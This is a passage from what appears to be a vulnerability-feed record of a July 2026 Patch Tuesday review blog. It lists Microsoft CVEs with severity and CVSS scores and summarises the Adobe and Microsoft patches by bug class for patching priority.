(RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:04:23.600322Z"}, {"uuid": "4e66384c-7d84-41e0-bb9e-015963581c85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54109", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. 